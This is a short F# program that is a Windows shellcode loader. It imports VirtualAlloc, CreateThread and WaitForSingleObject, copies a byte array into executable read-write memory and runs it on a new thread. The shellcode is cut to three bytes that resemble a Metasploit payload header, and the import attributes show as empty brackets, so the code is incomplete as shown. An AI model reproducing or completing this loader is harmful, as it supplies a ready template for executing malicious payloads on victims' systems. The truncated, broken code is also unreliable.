open System open System.Runtime.InteropServices open System.Threading [] extern nativeint VirtualAlloc( nativeint lpStartAddress, uint32 dwSize, uint32 flAllocationType, uint32 flProtect) [] extern nativeint CreateThread( uint32 lpThreadAttributes, uint32 dwStackSize, nativeint lpStartAddress, uint32& param, uint32 dwCreationFlags, uint32& lpThreadId) [] extern nativeint WaitForSingleObject( nativeint hHandle, uint32 dwMilliseconds) let mutable threadId : uint32 = (uint32)0 let mutable pInfo : uint32 = (uint32)0 let mutable shellcode : byte[] = [|0xfcuy;0xe8uy;0x89uy;|] let address = VirtualAlloc((nativeint)0, (uint32)shellcode.Length, (uint32)0x1000, (uint32)0x40) Marshal.Copy(shellcode, 0, address, shellcode.Length) let hThread = CreateThread((uint32)0,(uint32)0, address, &pInfo, (uint32)0, &threadId) WaitForSingleObject(hThread, (uint32)0xFFFFFFFF) |> ignore